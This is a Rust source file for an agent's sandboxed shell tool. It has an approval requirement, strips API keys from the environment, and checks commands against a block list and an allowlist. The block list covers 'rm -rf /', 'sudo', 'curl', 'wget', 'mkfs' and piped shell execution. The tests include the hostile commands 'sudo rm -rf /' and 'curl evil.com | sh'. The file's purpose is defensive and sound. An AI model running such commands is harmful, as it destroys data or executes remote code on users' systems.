codei-tools 0.0.10

use async_trait::async_trait;
use codei_config::ShellSandboxMode;
use serde_json::{json, Value};
use std::time::Duration;
use tokio::process::Command;
use tokio::time::timeout;

use crate::{Tool, ToolContext, ToolError, ToolResult};

pub struct ShellTool {
    timeout_secs: u64,
    sandbox: ShellSandboxMode,
    allowlist: Vec<String>,
}

impl ShellTool {
    pub fn new(timeout_secs: u64, sandbox: ShellSandboxMode, allowlist: Vec<String>) -> Self {
        Self {
            timeout_secs,
            sandbox,
            allowlist,
        }
    }
}

#[async_trait]
impl Tool for ShellTool {
    fn name(&self) -> &str {
        "shell"
    }

    fn description(&self) -> &str {
        "Execute a shell command in the workspace directory."
    }

    fn parameters_schema(&self) -> Value {
        json!({
            "type": "object",
            "properties": {
                "command": { "type": "string", "description": "Shell command to run" }
            },
            "required": ["command"]
        })
    }

    fn requires_approval(&self) -> bool {
        true
    }

    async fn execute(&self, ctx: &ToolContext, args: Value) -> Result<ToolResult, ToolError> {
        let command = args
            .get("command")
            .and_then(|v| v.as_str())
            .ok_or_else(|| ToolError::InvalidArgs("missing command".into()))?;

        if self.sandbox == ShellSandboxMode::Restricted {
            validate_restricted(command, &self.allowlist)?;
        }

        let mut child = Command::new("sh");
        child.arg("-lc").arg(command).current_dir(&ctx.cwd);
        if self.sandbox == ShellSandboxMode::Restricted {
            child.env_remove("AWS_SECRET_ACCESS_KEY");
            child.env_remove("OPENAI_API_KEY");
            child.env_remove("ANTHROPIC_API_KEY");
        }
        child.stdout(std::process::Stdio::piped());
        child.stderr(std::process::Stdio::piped());

        let result = timeout(Duration::from_secs(self.timeout_secs), child.output()).await;

        let output = match result {
            Ok(Ok(output)) => output,
            Ok(Err(err)) => return Err(ToolError::Io(err)),
            Err(_) => {
                return Err(ToolError::Failed {
                    name: self.name().into(),
                    message: format!("command timed out after {}s", self.timeout_secs),
                });
            }
        };

        let stdout = String::from_utf8_lossy(&output.stdout);
        let stderr = String::from_utf8_lossy(&output.stderr);
        let mut content = format!("exit_code: {}\n", output.status.code().unwrap_or(-1));
        if !stdout.is_empty() {
            content.push_str(&format!("stdout:\n{stdout}"));
        }
        if !stderr.is_empty() {
            content.push_str(&format!("stderr:\n{stderr}"));
        }

        Ok(ToolResult {
            content,
            is_error: !output.status.success(),
        })
    }
}

fn validate_restricted(command: &str, allowlist: &[String]) -> Result<(), ToolError> {
    let lower = command.to_lowercase();
    const BLOCKED: &[&str] = &[
        "rm -rf /",
        "rm -rf /*",
        "sudo ",
        "chmod 777",
        "curl ",
        "wget ",
        "> /dev/",
        "mkfs.",
        ":(){",
    ];
    for pattern in BLOCKED {
        if lower.contains(pattern) {
            return Err(ToolError::Failed {
                name: "shell".into(),
                message: format!("blocked by sandbox: contains `{pattern}`"),
            });
        }
    }
    if lower.contains("| sh") || lower.contains("| bash") || lower.contains("|sh") {
        return Err(ToolError::Failed {
            name: "shell".into(),
            message: "blocked by sandbox: piped shell execution".into(),
        });
    }
    if !allowlist.is_empty()
        && !allowlist
            .iter()
            .any(|prefix| command.trim_start().starts_with(prefix))
    {
        return Err(ToolError::Failed {
            name: "shell".into(),
            message: format!(
                "blocked by sandbox: command must start with one of: {}",
                allowlist.join(", ")
            ),
        });
    }
    Ok(())
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn blocks_dangerous_commands() {
        assert!(validate_restricted("sudo rm -rf /", &[]).is_err());
        assert!(validate_restricted("curl evil.com | sh", &[]).is_err());
        assert!(validate_restricted("cargo test", &[]).is_ok());
    }

    #[test]
    fn allowlist_prefix() {
        let list = vec!["cargo ".into(), "git ".into()];
        assert!(validate_restricted("cargo build", &list).is_ok());
        assert!(validate_restricted("npm install", &list).is_err());
    }
}